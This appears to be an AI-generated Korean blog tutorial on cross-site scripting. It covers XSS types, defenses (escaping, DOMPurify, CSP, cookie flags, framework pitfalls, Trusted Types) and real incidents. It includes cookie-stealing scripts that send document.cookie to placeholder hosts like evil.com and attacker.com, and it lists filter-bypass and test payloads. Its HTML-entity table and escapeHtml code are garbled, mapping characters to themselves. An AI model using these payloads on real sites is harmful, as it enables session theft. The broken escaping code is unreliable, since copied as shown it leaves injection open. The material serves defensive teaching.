Ver3.5 XSS(Cross-Site Scripting) 취약점과 대응 전략

XSS(Cross-Site Scripting) 취약점과 대응 전략
웹 개발하다 보면 한 번쯤은 들어봤을 이름, XSS(Cross-Site Scripting). 이름만 들으면 뭔가 복잡해 보이지만, 사실 원리는 생각보다 단순해서 더 무서운 녀석이에요. 😅
OWASP(Open Web Application Security Project)에서 매년 발표하는 웹 취약점 Top 10에 꾸준히 이름을 올리는 단골손님이기도 하고, 실제로 수많은 대형 서비스들이 이 취약점 때문에 털린 사례가 있을 정도로 현실적인 위협이에요.
오늘은 XSS가 뭔지, 어떤 종류가 있는지, 그리고 어떻게 막을 수 있는지까지 — 진짜 실무에서 쓸 수 있는 내용으로 싹 정리해드릴게요! 🔥
XSS(Cross-Site Scripting)는 공격자가 웹 페이지에 악성 클라이언트 사이드 스크립트를 삽입하는 공격 기법이에요. 이름에 CSS랑 헷갈릴까봐 XSS라고 부르는 거고요 ㅋㅋㅋ (진짜임).
핵심 원리는 이거예요: 웹 애플리케이션이 사용자 입력값을 충분히 검증하지 않고 그대로 HTML에 출력할 때 발생해요. 공격자가 입력 필드에 JavaScript 코드를 넣으면, 그게 다른 사용자의 브라우저에서 실행되는 거죠.
서버가 해킹당하는 게 아니라, 피해자의 브라우저에서 악성 코드가 실행돼요.
그래서 서버 로그만 봐서는 공격 여부를 파악하기 어렵고, 피해자 본인도 모르는 경우가 대부분이에요.
실제로 어떤 피해가 생기냐고요? 🤔
쿠키/세션 탈취 키로깅 피싱 페이지 삽입 악성코드 배포 CSRF 공격 연계 화면 캡처 웹캠 접근 시도 가상화폐 채굴
특히 세션 쿠키 탈취는 가장 흔하고 치명적인 공격이에요. 탈취한 쿠키로 피해자인 척 로그인하면 — 비밀번호 없이도 계정 장악이 가능하거든요. 😱
- MySpace Samy Worm (2005): 단 하루 만에 100만 명 이상 감염된 역대급 XSS 웜
- Twitter (2010): onMouseOver 이벤트 기반 XSS로 수십만 건 트윗 자동 전파
- British Airways (2018): XSS 연계 공격으로 50만 명 결제 정보 유출
- Yahoo Mail (2013): 이메일 열람만으로 계정 탈취 가능한 XSS 발견
XSS는 크게 세 가지 유형으로 나뉘어요. 각각 동작 방식이 다르고, 위험도도 조금씩 달라요. 하나씩 뜯어볼게요! 🔍
공격자가 악성 스크립트를 서버의 데이터베이스에 저장시키는 방식이에요. 게시판 댓글, 사용자 프로필, 방명록 같은 곳에 스크립트를 입력하면, 그 페이지를 방문하는 모든 사용자에게 스크립트가 실행돼요.
공격자가 댓글창에 이런 걸 입력한다고 가정해봐요:
<script>
document.location='https://evil.com/steal?cookie='+document.cookie;
</script>
서버가 이걸 그대로 저장하고 출력하면? 댓글을 보는 모든 사람의 쿠키가 공격자 서버로 날아가요. 💀
악성 스크립트가 URL 파라미터에 포함되어 서버로 전송되고, 서버가 이를 검증 없이 응답에 그대로 반영(reflect)하는 방식이에요. DB에 저장되지 않아서 일회성이지만, 피싱 메일이나 악성 링크와 결합하면 충분히 위험해요.
검색 기능이 있는 사이트에서 검색어를 그대로 출력한다면:
https://example.com/search?q=<script>alert(document.cookie)</script>
서버가 q 파라미터를 그대로 HTML에 출력하면 스크립트가 실행돼요.공격자는 이 URL을 피해자에게 보내서 클릭을 유도하죠.
서버가 전혀 개입하지 않고, 클라이언트 사이드 JavaScript 코드가 DOM을 조작하는 과정에서 발생해요. 서버 로그에 흔적이 남지 않아서 탐지가 매우 어렵고, WAF(웹 방화벽)도 우회할 수 있어요.
JavaScript 코드가 URL의 해시값을 그대로 innerHTML에 삽입한다면:
// 취약한 코드
document.getElementById('output').innerHTML = location.hash.slice(1);
// 공격 URL
https://example.com/page#<img src=x onerror=alert(1)>
서버는 아무것도 모르는데 브라우저에서 스크립트가 실행돼요. 진짜 무서운 거 ㄹㅇ 😰
기본 원리는 알겠는데, 실제 공격자들은 어떤 방식으로 필터를 우회하고 공격하는지 알아야 제대로 방어할 수 있어요. 방어하려면 공격자 마인드로 생각해야 한다는 거 아시죠? 😏
script 태그가 필터링되더라도 HTML 이벤트 핸들러를 이용하면 우회가 가능해요:
<!-- script 태그 없이도 실행 가능 -->
<img src="x" onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onpageshow="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<a href="javascript:alert('XSS')">클릭</a>
<div onmouseover="alert('XSS')">마우스 올려봐</div>
필터가 특정 문자열을 막아도, 인코딩을 이용해 우회할 수 있어요:
<!-- HTML 엔티티 인코딩 -->
<img src=x onerror="alert(1)">
<!-- URL 인코딩 -->
%3Cscript%3Ealert(1)%3C%2Fscript%3E
<!-- Unicode 인코딩 -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<!-- Base64 + data URI -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<!-- 대소문자 혼용 -->
<ScRiPt>alert(1)</sCrIpT>
<!-- 태그 내 공백/탭 삽입 -->
<img src = "x" onerror = "alert(1)">
<!-- 주석 삽입 -->
<scr/**/ipt>alert(1)</scr/**/ipt>
<!-- 널 바이트 삽입 -->
<scr\x00ipt>alert(1)</scr\x00ipt>
단순히 "script" 문자열만 필터링하는 블랙리스트 방식은 이런 우회 기법에 완전히 무력화돼요.
그래서 화이트리스트 기반 검증과 컨텍스트 인식 이스케이핑이 필수인 거예요!
저장형 XSS로 쿠키를 탈취하는 전형적인 시나리오를 보면 이해가 쉬워요:
<!-- 공격자가 게시판에 입력하는 내용 -->
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);
</script>
<!-- 더 정교한 버전: 비동기 요청 -->
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: window.location.href,
userAgent: navigator.userAgent
})
});
</script>
자, 이제 가장 중요한 파트예요! 공격을 알았으니 막는 법을 알아야죠. XSS 방어는 단일 방법으로는 절대 완벽하지 않아요. 여러 레이어의 방어를 겹쳐서 적용하는 게 정석이에요. 🏰
XSS 방어의 가장 핵심적인 방법이에요. 사용자 입력값을 HTML에 출력할 때 특수문자를 HTML 엔티티로 변환하는 거예요. 이렇게 하면 브라우저가 스크립트로 해석하지 않고 그냥 텍스트로 표시해요.
| 원본 문자 | 변환 후 (HTML 엔티티) | 이유 |
|---|---|---|
& | & | 엔티티 시작 문자 |
< | < | 태그 시작 문자 |
> | > | 태그 종료 문자 |
" | " | 속성값 구분자 |
' | ' | 속성값 구분자 |
/ | / | 태그 종료 보조 |
// JavaScript (Node.js)
const escapeHtml = (str) => str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
// Python
import html
safe_output = html.escape(user_input)
// Java
import org.apache.commons.text.StringEscapeUtils;
String safe = StringEscapeUtils.escapeHtml4(userInput);
// PHP
$safe = htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// React (자동 이스케이핑)
// JSX에서 {variable} 사용 시 자동으로 이스케이핑됨
// 단, dangerouslySetInnerHTML 사용 시 주의!
입력 단계에서부터 악성 코드를 걸러내는 방법이에요. 단, 블랙리스트 방식은 우회 가능성이 높으니 화이트리스트 방식을 권장해요!
// ❌ 나쁜 예: 블랙리스트 방식 (우회 가능)
function badFilter(input) {
return input.replace(/<script>/gi, '');
// <ScRiPt> 이런 거로 우회 가능!
}
// ✅ 좋은 예: DOMPurify 라이브러리 사용
import DOMPurify from 'dompurify';
// HTML 콘텐츠를 허용해야 할 때 (예: 리치 텍스트 에디터)
const clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'title']
});
// 순수 텍스트만 허용할 때
const textOnly = DOMPurify.sanitize(input, {ALLOWED_TAGS: []});
// ✅ 좋은 예: 정규식 화이트리스트 (전화번호 입력)
function validatePhone(input) {
return /^[0-9\-\+\(\)\s]{7,20}$/.test(input);
}
CSP는 HTTP 헤더를 통해 브라우저에게 "이 사이트에서는 어떤 스크립트만 실행 가능해"라고 알려주는 정책이에요. XSS 공격이 성공하더라도 스크립트 실행 자체를 막을 수 있어요. 진짜 강력한 방어 수단이에요! 💪
# 서버 응답 헤더에 추가 (예: Nginx)
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-{랜덤값}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self';
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
";
# Node.js Express에서 helmet 사용
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
objectSrc: ["'none'"],
upgradeInsecureRequests: [],
},
}));
매 요청마다 서버가 랜덤한 nonce 값을 생성하고, 허용된 script 태그에만 이 값을 부여해요.
공격자가 삽입한 스크립트는 nonce가 없으니 실행이 차단돼요. 현재 가장 권장되는 CSP 방식이에요!
XSS 공격의 주요 목적 중 하나가 쿠키 탈취인데, 쿠키 설정만 잘 해도 피해를 크게 줄일 수 있어요!
# HttpOnly: JavaScript에서 쿠키 접근 불가
# Secure: HTTPS에서만 전송
# SameSite: CSRF 방지 + XSS 연계 공격 방지
# 서버 응답 헤더
Set-Cookie: sessionId=abc123;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=3600
# Node.js Express
res.cookie('sessionId', token, {
httpOnly: true, // JS에서 document.cookie로 접근 불가
secure: true, // HTTPS만
sameSite: 'strict', // 크로스 사이트 요청에 쿠키 미포함
maxAge: 3600000
});
# Python Django
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Strict'
document.cookie로 쿠키를 읽을 수 없게 되어, XSS로 쿠키를 탈취하는 공격이 원천 차단돼요.
단, 쿠키 자체는 여전히 HTTP 요청에 포함되므로 CSRF 공격과는 별개로 방어해야 해요.
현대 프론트엔드 프레임워크들은 기본적으로 XSS 방어 기능을 내장하고 있어요. 이걸 제대로 활용하는 것도 중요해요!
// ✅ React: JSX는 기본적으로 이스케이핑
const SafeComponent = ({ userInput }) => (
<div>{userInput}</div> // 자동 이스케이핑
);
// ❌ React: dangerouslySetInnerHTML은 위험!
const DangerousComponent = ({ html }) => (
<div dangerouslySetInnerHTML={{ __html: html }} /> // XSS 위험!
);
// 꼭 써야 한다면 DOMPurify로 새니타이징 후 사용
// ✅ Vue.js: {{ }} 보간은 자동 이스케이핑
<template>
<div>{{ userInput }}</div> <!-- 안전 -->
<div v-html="userInput"></div> <!-- 위험! -->
</template>
// ✅ Angular: 기본 바인딩은 안전
<div>{{ userInput }}</div> <!-- 안전 -->
<div [innerHTML]="userInput"></div> <!-- DomSanitizer 필요 -->
| 도구/라이브러리 | 용도 | 언어/환경 |
|---|---|---|
| DOMPurify | HTML 새니타이징 | JavaScript |
| OWASP Java HTML Sanitizer | HTML 새니타이징 | Java |
| Bleach | HTML 새니타이징 | Python |
| HtmlSanitizer | HTML 새니타이징 | .NET |
| helmet.js | 보안 헤더 설정 | Node.js |
| OWASP ZAP | 취약점 스캐너 | 범용 |
| Burp Suite | 침투 테스트 | 범용 |
XSS 방어에서 가장 많이 실수하는 부분이 바로 이거예요. 어디에 출력하느냐에 따라 이스케이핑 방법이 달라져요! 같은 데이터라도 HTML 본문에 넣을 때, 속성값에 넣을 때, JavaScript에 넣을 때 각각 다른 처리가 필요해요.
// 1. HTML 본문 컨텍스트
// <, >, &, ", ' 이스케이핑
<div>{htmlEscape(userInput)}</div>
// 2. HTML 속성 컨텍스트
// 반드시 따옴표로 감싸고 속성 이스케이핑
<input value="{htmlAttrEscape(userInput)}">
// 3. JavaScript 컨텍스트
// JSON.stringify 또는 JS 이스케이핑
<script>
var data = {JSON.stringify(userInput)};
</script>
// 4. URL 컨텍스트
// URL 인코딩 + 프로토콜 검증
<a href="{validateAndEncodeUrl(userInput)}">링크</a>
// javascript: 프로토콜 반드시 차단!
// 5. CSS 컨텍스트 (가능하면 피하기)
// CSS 이스케이핑 필요
<div style="color: {cssEscape(userInput)}"></div>
href나 src 속성에 사용자 입력을 넣을 때는 반드시
javascript: 프로토콜을 차단해야 해요.// ❌ 위험
<a href="javascript:alert('XSS')">클릭</a>
// ✅ 안전: 프로토콜 화이트리스트 검증
function safeUrl(url) {
const allowed = ['http:', 'https:', 'mailto:'];
try {
const parsed = new URL(url);
return allowed.includes(parsed.protocol) ? url : '#';
} catch {
return '#';
}
}
재능넷 같은 플랫폼처럼 사용자 생성 콘텐츠(UGC)를 다루는 서비스라면 이 체크리스트를 꼭 확인해봐야 해요! 🔍
# Nginx 보안 헤더 종합 설정
server {
# XSS 방어 관련 헤더들
add_header X-XSS-Protection "1; mode=block" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# CSP 헤더 (nonce 방식)
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-$request_id';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
" always;
# HSTS (HTTPS 강제)
add_header Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload" always;
}
DOM 기반 XSS는 서버 측 방어만으로는 막을 수 없어요. 클라이언트 사이드 코드를 직접 안전하게 작성해야 해요. 특히 SPA(Single Page Application) 개발자라면 필수로 알아야 해요! 📱
// ❌ 위험한 DOM API들
element.innerHTML = userInput; // HTML 파싱 → XSS
element.outerHTML = userInput; // HTML 파싱 → XSS
document.write(userInput); // HTML 파싱 → XSS
document.writeln(userInput); // HTML 파싱 → XSS
element.insertAdjacentHTML('...', userInput); // HTML 파싱 → XSS
// URL 관련
location.href = userInput; // javascript: 프로토콜 위험
location.replace(userInput); // javascript: 프로토콜 위험
// 동적 코드 실행
eval(userInput); // 직접 코드 실행
setTimeout(userInput, 0); // 문자열이면 eval과 동일
setInterval(userInput, 0); // 문자열이면 eval과 동일
new Function(userInput)(); // 동적 함수 생성
// ✅ 안전한 DOM API들
element.textContent = userInput; // 텍스트로만 처리
element.innerText = userInput; // 텍스트로만 처리
// 속성 설정
element.setAttribute('class', userInput); // 속성 이스케이핑
element.className = userInput;
// 요소 생성
const textNode = document.createTextNode(userInput);
element.appendChild(textNode);
// URL 처리
const url = new URL(userInput);
if (['http:', 'https:'].includes(url.protocol)) {
location.href = url.toString();
}
// HTML이 꼭 필요하다면
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
Chrome 83+부터 지원하는 Trusted Types는 DOM XSS를 근본적으로 차단하는 최신 브라우저 API예요. innerHTML 같은 위험한 API에 일반 문자열을 넣으면 에러가 발생하고, 반드시 검증된 Trusted Type 객체만 허용해요.
// Trusted Types 정책 생성
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (input) => DOMPurify.sanitize(input),
createScriptURL: (input) => {
const url = new URL(input);
if (url.origin === location.origin) return input;
throw new Error('허용되지 않은 URL');
}
});
// 안전하게 사용
element.innerHTML = policy.createHTML(userInput);
// CSP에서 Trusted Types 강제
Content-Security-Policy: require-trusted-types-for 'script';
방어를 잘 했는지 확인하려면 직접 테스트해봐야죠! 개발 환경에서 이런 방법들로 취약점을 미리 찾아낼 수 있어요. 물론 본인 서비스에서만 해야 해요 ㅋㅋㅋ 남의 서비스에서 하면 범죄예요! ⚠️
<!-- 기본 테스트 페이로드들 -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
javascript:alert('XSS')
<!-- 필터 우회 테스트 -->
<ScRiPt>alert('XSS')</ScRiPt>
<script >alert('XSS')</script>
<img src="x" onerror="alert(1)">
<iframe src="javascript:alert('XSS')"></iframe>
<!-- DOM XSS 테스트 -->
#<img src=x onerror=alert(1)>
?param=<script>alert(1)</script>
| 도구 | 특징 | 사용 방법 |
|---|---|---|
| OWASP ZAP | 무료, 오픈소스, 자동 스캔 | GUI/CLI 모두 지원 |
| Burp Suite | 전문가용, 강력한 기능 | 프록시 기반 분석 |
| XSStrike | XSS 특화 스캐너 | Python 기반 CLI |
| Dalfox | 빠른 XSS 스캐너 | Go 기반 CLI |
| Semgrep | 정적 코드 분석 | CI/CD 통합 가능 |
Semgrep이나 SonarQube 같은 SAST(정적 분석) 도구를 GitHub Actions나 Jenkins에 통합하면,
코드 커밋 시마다 자동으로 XSS 취약 패턴을 검사할 수 있어요. 개발 초기에 잡는 게 훨씬 저렴하거든요! 💰
MySpace에서 발생한 역사상 가장 유명한 XSS 공격이에요. Samy Kamkar라는 개발자가 만든 이 웜은 단 20시간 만에 100만 명 이상의 MySpace 계정을 감염시켰어요.
① 공격자가 자신의 MySpace 프로필에 XSS 페이로드 삽입
② 다른 사용자가 프로필 방문 시 스크립트 실행
③ 방문자의 프로필에도 동일한 스크립트 자동 삽입 (자기 복제)
④ 방문자의 친구 목록에 공격자를 자동으로 추가
⑤ 기하급수적으로 전파 → 20시간 만에 100만 감염
결과: MySpace 서비스 일시 중단, Samy는 컴퓨터 사용 금지 처분 받음
트위터의 onMouseOver 이벤트 처리 취약점을 이용해, 마우스를 트윗 위에 올리기만 해도 스크립트가 실행되어 자동으로 리트윗되는 웜이 퍼졌어요.
영향: 수십만 건의 트윗이 자동 전파, 일부는 팝업 광고나 포르노 사이트로 리다이렉트
교훈: 이벤트 핸들러 기반 XSS는 script 태그 필터링만으로는 막을 수 없다는 것을 보여줌
Magecart 그룹이 British Airways 웹사이트에 XSS 기반 스크립트를 삽입해 결제 페이지에서 카드 정보를 실시간으로 탈취했어요.
피해: 약 50만 명의 고객 결제 정보 유출 (카드번호, 이름, 주소, 이메일 등)
결과: GDPR 위반으로 약 2,000억 원(1.83억 파운드) 과징금 부과
교훈: 서드파티 스크립트 관리와 CSP의 중요성
광고, 분석 도구, 챗봇 등 외부 스크립트를 삽입할 때도 XSS 위험이 있어요.
Subresource Integrity(SRI)를 사용해 스크립트 무결성을 검증하고,
CSP로 허용된 도메인의 스크립트만 실행되도록 제한하는 게 중요해요!
<!-- SRI 해시로 스크립트 무결성 검증 -->
<script src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
요즘 대부분 React, Vue, Angular 같은 프레임워크 쓰잖아요? 이 친구들이 기본적으로 XSS를 막아주긴 하는데, 함정이 있어요! 방심하면 안 돼요 😤
// ✅ 안전: JSX 자동 이스케이핑
const Component = ({ name }) => <div>{name}</div>;
// ❌ 위험: dangerouslySetInnerHTML
const Dangerous = ({ html }) => (
<div dangerouslySetInnerHTML={{ __html: html }} />
);
// ✅ 안전하게 dangerouslySetInnerHTML 쓰는 법
import DOMPurify from 'dompurify';
const Safe = ({ html }) => (
<div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(html)
}} />
);
// ❌ 위험: href에 사용자 입력 직접 사용
const Link = ({ url }) => <a href={url}>링크</a>;
// javascript:alert(1) 같은 값이 들어올 수 있음!
// ✅ 안전: URL 검증 후 사용
const SafeLink = ({ url }) => {
const safeUrl = /^https?:\/\//.test(url) ? url : '#';
return <a href={safeUrl}>링크</a>;
};
<!-- ✅ 안전: 텍스트 보간 -->
<template>
<div>{{ userInput }}</div>
</template>
<!-- ❌ 위험: v-html 디렉티브 -->
<template>
<div v-html="userInput"></div>
</template>
<!-- ✅ v-html 안전하게 사용 -->
<template>
<div v-html="sanitizedInput"></div>
</template>
<script>
import DOMPurify from 'dompurify';
export default {
computed: {
sanitizedInput() {
return DOMPurify.sanitize(this.userInput);
}
}
}
</script>
<!-- ✅ 안전: 기본 바인딩 -->
<div>{{ userInput }}</div>
<div [textContent]="userInput"></div>
<!-- ⚠️ 주의: innerHTML 바인딩 -->
<div [innerHTML]="userInput"></div>
<!-- Angular의 DomSanitizer가 자동으로 새니타이징하지만 -->
<!-- bypassSecurityTrustHtml 사용 시 위험! -->
// ❌ 절대 금지
import { DomSanitizer } from '@angular/platform-browser';
constructor(private sanitizer: DomSanitizer) {}
// 이거 쓰면 Angular 보안 우회됨
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(userInput);
XSS 방어의 핵심을 한 줄로 요약하면: "신뢰하지 말고, 검증하고, 이스케이핑하라"예요. 🔐
사용자 입력은 절대 신뢰하지 말고, 모든 출력은 컨텍스트에 맞게 이스케이핑하고, CSP로 마지막 방어선을 구축하는 것이 XSS 방어의 3대 원칙이에요.
웹 보안은 한 번 설정하고 끝나는 게 아니에요. 새로운 공격 기법이 계속 나오고, 프레임워크도 업데이트되니까 꾸준히 공부하고 업데이트해야 해요. 재능넷에서도 보안 관련 전문가들의 재능을 활용해서 주기적인 보안 감사를 받아보는 것도 좋은 방법이에요! 🛡️
XSS 하나만 제대로 막아도 웹 보안의 절반은 해결한 거라고 해도 과언이 아닐 정도로 중요한 취약점이에요. 오늘 배운 내용을 실제 프로젝트에 적용해보세요! 💪
- OWASP XSS Prevention Cheat Sheet: 가장 권위 있는 XSS 방어 가이드
- PortSwigger Web Security Academy: 무료 XSS 실습 환경 제공
- Google XSS Game: 게임 형식으로 XSS 학습
- OWASP WebGoat: 의도적으로 취약하게 만든 실습용 앱
댓글 0
지식인의 숲 - 지적 재산권 보호 고지
지적 재산권 보호 고지
- 저작권 및 소유권: 본 컨텐츠는 재능넷의 독점 AI 기술로 생성되었으며, 대한민국 저작권법 및 국제 저작권 협약에 의해 보호됩니다.
- AI 생성 컨텐츠의 법적 지위: 본 AI 생성 컨텐츠는 재능넷의 지적 창작물로 인정되며, 관련 법규에 따라 저작권 보호를 받습니다.
- 사용 제한: 재능넷의 명시적 서면 동의 없이 본 컨텐츠를 복제, 수정, 배포, 또는 상업적으로 활용하는 행위는 엄격히 금지됩니다.
- 데이터 수집 금지: 본 컨텐츠에 대한 무단 스크래핑, 크롤링, 및 자동화된 데이터 수집은 법적 제재의 대상이 됩니다.
- AI 학습 제한: 재능넷의 AI 생성 컨텐츠를 타 AI 모델 학습에 무단 사용하는 행위는 금지되며, 이는 지적 재산권 침해로 간주됩니다.

댓글 작성
이 글에 대한 여러분의 생각을 들려주세요
로그인이 필요합니다
댓글을 작성하려면 먼저 로그인해주세요.